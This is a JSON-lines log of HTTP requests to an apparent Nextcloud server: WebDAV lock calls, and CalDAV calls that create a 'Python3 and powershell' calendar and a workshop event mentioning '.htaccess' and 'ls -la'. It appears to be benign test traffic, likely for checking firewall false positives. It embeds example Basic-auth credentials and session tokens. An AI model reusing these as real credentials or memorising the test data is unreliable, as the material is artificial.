{"method": "LOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "If-Match: \"eb3db988a3b1c732d32158448e23d679\"", "X-Request-Id: dc0bcced-fcdb-4bc1-bc97-e50a5ec9061b", "Connection: close"], "body": ""} {"method": "LOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "If-Match: \"eb3db988a3b1c732d32158448e23d679\"", "X-Request-Id: dc0bcced-fcdb-4bc1-bc97-e50a5ec9061b", "Connection: close"], "body": ""}
{"method": "UNLOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "X-Request-Id: 7c787543-2c5d-44e9-aba9-2637d14b20df", "Connection: close"], "body": ""} {"method": "UNLOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "X-Request-Id: 7c787543-2c5d-44e9-aba9-2637d14b20df", "Connection: close"], "body": ""}
{"method": "GET", "target": "/apps/calendar/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": ""}
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 7492", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: T9BYhAAPsoWkxhIXPRIfPCLrhh7YF/3Sk0qX6zF2c4E=:OLYXzC9E5tDojCdSb0cofhec/3voe4q/9T7a2R48KsU=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/icaLine truncated
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/personal/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 514", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: T9BYhAAPsoWkxhIXPRIfPCLrhh7YF/3Sk0qX6zF2c4E=:OLYXzC9E5tDojCdSb0cofhec/3voe4q/9T7a2R48KsU=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VEVENT\"><x1:time-range start=\"20261101T000000Z\" end=\"20261213T000000Z\"/></x1:comp-filter></x1:comp-filter></x1:filter></x1:calendar-query>"}
{"method": "MKCOL", "target": "/remote.php/dav/calendars/admin/python3-and-powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1081", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x0:mkcol xmlns:x0=\"DAV:\"><x0:set><x0:prop><x0:resourcetype><x0:collection/><x1:calendar xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/></x0:resourcetype><x0:displayname>Python3 and powershell</x0:displayname><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\">#1E78C1</x6:calendar-color><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\">1</x4:calendar-enabled><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\">BEGIN:VCALENDAR\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR</x1:calendar-timezone><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x1:comp name=\"VEVENT\"/></x1:supported-calendar-component-set></x0:prop></x0:set></x0:mkcol>"}
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 7492", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlnsLine truncated
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 514", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VEVENT\"><x1:time-range start=\"20261031T230000Z\" end=\"20261212T230000Z\"/></x1:comp-filter></x1:comp-filter></x1:filter></x1:calendar-query>"}
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 433", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VTODO\"/></x1:comp-filter></x1:filter></x1:calendar-query>"}
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 894", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: NoV4Zq/S7YgAua9Ljqgt2aMX3Ay8QCHM8coG6JCoYrI=:R8whCNqlqNtHwZd++NxstMtC5EnLGW+ZxZspkt77Nf8=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/calendar; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FMi8hZeTy%2F4Kx%2B2PHX9tU5S4%2BR36N7n9Ba8eK4VIfdPzVKeKzg147kX8vZKMt0jwenX9yY9G6g5jk2bruL5OQdLJkJRiWxnQnXkftzvuAexWK6%2Fia4Izn%2BoVSsiAuDd7; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=02c4326bbee9f15d812eec41be2c5a90; nc_username=admin; nc_token=t43HZet4TBWuMLJQjBXmR0eeWd4vmXlC; nc_session_id=02c4326bbee9f15d812eec41be2c5a90"], "body": "BEGIN:VCALENDAR\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nBEGIN:VEVENT\r\nCREATED:20261110T090325Z\r\nDTSTAMP:20261110T090330Z\r\nLAST-MODIFIED:20261110T090330Z\r\nSEQUENCE:3\r\nUID:60dddeaf-fc50-40c3-a8e1-9f05366eb58d\r\nDTSTART;TZID=Europe/Berlin:20261110T110025\r\nDTEND;TZID=Europe/Berlin:20261110T120025\r\nTRANSP:OPAQUE\r\nSTATUS:CONFIRMED\r\nSUMMARY:Python3 workshop\r\nLOCATION:Room .htaccess\\, Powershell Lane\r\nDESCRIPTION:Bring a laptop with python3 and powershell\\; we run ls -la firs\r\n t.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR"}
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 318", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: NoV4Zq/S7YgAua9Ljqgt2aMX3Ay8QCHM8coG6JCoYrI=:R8whCNqlqNtHwZd++NxstMtC5EnLGW+ZxZspkt77Nf8=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FMi8hZeTy%2F4Kx%2B2PHX9tU5S4%2BR36N7n9Ba8eK4VIfdPzVKeKzg147kX8vZKMt0jwenX9yY9G6g5jk2bruL5OQdLJkJRiWxnQnXkftzvuAexWK6%2Fia4Izn%2BoVSsiAuDd7; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=02c4326bbee9f15d812eec41be2c5a90; nc_username=admin; nc_token=t43HZet4TBWuMLJQjBXmR0eeWd4vmXlC; nc_session_id=02c4326bbee9f15d812eec41be2c5a90"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/></x0:prop></x0:propfind>"}
